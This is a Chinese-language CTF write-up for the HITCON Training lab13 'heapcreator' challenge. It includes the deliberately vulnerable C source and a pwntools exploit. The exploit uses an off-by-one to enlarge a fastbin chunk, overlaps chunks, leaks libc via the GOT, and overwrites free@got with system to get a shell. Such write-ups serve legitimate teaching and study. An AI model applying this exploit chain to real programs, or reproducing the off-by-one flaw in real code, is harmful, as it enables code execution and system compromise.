【Pwn】HITCON Training lab13 heapcreator - inuse fastbin chunk extend
本文永久連結:https://thinkycx.me/posts/2018-12-04-HITCON-Training-lab13-heapcreator.html
相關題目下載:https://github.com/thinkycx/pwn/blob/master/HITCON-Training/lab13/
題目來自HITCON-Training@Angelboy,off-by-one 修改inuse的fastbin chunk size,free該chunk獲取一個稍微大的的fastbin chunk。再次malloc實現fastbin chunk overlap,從而可以修改關鍵指標,hjiack got getshell!
題目資訊
原始碼見這裡:https://github.com/thinkycx/pwn/blob/master/HITCON-Training/lab13/heapcreator.c
程式中有一個struct heap,提供4個功能,其中edit功能存在off-by-one漏洞!
struct heap { size_t size ; char *content ; }; struct heap *heaparray[10]; void menu(){ puts("--------------------------------"); puts(" Heap Creator "); puts("--------------------------------"); puts(" 1. Create a Heap "); puts(" 2. Edit a Heap "); puts(" 3. Show a Heap "); puts(" 4. Delete a Heap "); puts(" 5. Exit "); puts("--------------------------------"); printf("Your choice :"); } void create_heap(){ int i ; char buf[8]; size_t size = 0; for(i = 0 ; i < 10 ; i++){ if(!heaparray[i]){ heaparray[i] = (struct heap *)malloc(sizeof(struct heap)); if(!heaparray[i]){ puts("Allocate Error"); exit(1); } printf("Size of Heap : "); read(0,buf,8); size = atoi(buf); heaparray[i]->content = (char *)malloc(size); if(!heaparray[i]->content){ puts("Allocate Error"); exit(2); } heaparray[i]->size = size ; printf("Content of heap:"); read_input(heaparray[i]->content,size); puts("SuccessFul"); break ; } } } void edit_heap(){ int idx ; char buf[4]; printf("Index :"); read(0,buf,4); idx = atoi(buf); if(idx < 0 || idx >= 10){ puts("Out of bound!"); _exit(0); } if(heaparray[idx]){ printf("Content of heap : "); read_input(heaparray[idx]->content,heaparray[idx]->size+1); puts("Done !"); }else{ puts("No such heap !"); } } void show_heap(){ int idx ; char buf[4]; printf("Index :"); read(0,buf,4); idx = atoi(buf); if(idx < 0 || idx >= 10){ puts("Out of bound!"); _exit(0); } if(heaparray[idx]){ printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content); puts("Done !"); }else{ puts("No such heap !"); } } void delete_heap(){ int idx ; char buf[4]; printf("Index :"); read(0,buf,4); idx = atoi(buf); if(idx < 0 || idx >= 10){ puts("Out of bound!"); _exit(0); } if(heaparray[idx]){ free(heaparray[idx]->content); free(heaparray[idx]); heaparray[idx] = NULL ; puts("Done !"); }else{ puts("No such heap !"); } }
exploit
思路:假設malloc 0x18,chunk會複用下一個chunk的PREV_SIZR,因此可以利用多寫的一個位元組,來overflow nextchunk 的 SIZE。這時free nextchunk就可以獲取larget fastbin chunk,再次malloc導致chunk overlap,可以實現關鍵指標!本題中利用chunk overlap控制heap->content,使用show洩漏GOT,使用edit hijack [email protected]為system,free一個content為"/bin/sh\x00"的字串就可以getshell。
具體的關於overlap的細節如下:
如下圖所示:申請兩次,獲得chunk0 chunk1 chunk2 chunk3,其中chun0和chunk2是儲存的heap結構體。edit chunk1可寫0x19位元組,因此多的一個位元組可以溢位0x21,修改為0x41。
溢位後,free chunk2 chunk3,就可以獲取一個0x40和0x20大小的fastbin chunk。再次malloc實現chunk overlap。因此申請create 0x40,正好可以把fastbin中的兩個chunk申請回來,一個是data的chunk,一個是heap結構體的chunk。
exploit:
def pwn(io):
if local&debug: gdb.attach(io,'break *0x400db1') # main atoi
log.info("[1] create chunk, overwrite chunk2's size and free chunk2, get 2 fastbin chunks")
create(0x18, "") # 0 1 chunk0
create(0x10, "") # 0 1 2 3 chunk1
create(0x10, "") # 0 1 2 3 4 5 6 chunk2
payload_overflow = "a"*0x10 + p64(0xdeadbeafdeadbeaf) + "\x41"
edit(0, payload_overflow)
delete(1) # get fastbin chunk in 0x40
log.info("[2] get 0x40 chunk, chunk overlap! overwrite [email protected] to content ptr")
payload_got = p64(0x0)*2 + p64(0) + p64(0x21) + p64(0x8) + p64(elf.got['free'])
create(0x38, payload_got) # chunk3
show(1)
io.recvuntil("Content : ")
libc.address = u64(io.recv(6)+"\x00\x00") - libc.symbols['free']
log.success("libc.address: %#x", libc.address)
log.info("system addr: %#x", libc.symbols['system'])
log.info("[3] write system addr to [email protected]")
edit(1, p64(libc.symbols['system']))
create(0x18, "/bin/sh\x00")
delete(3)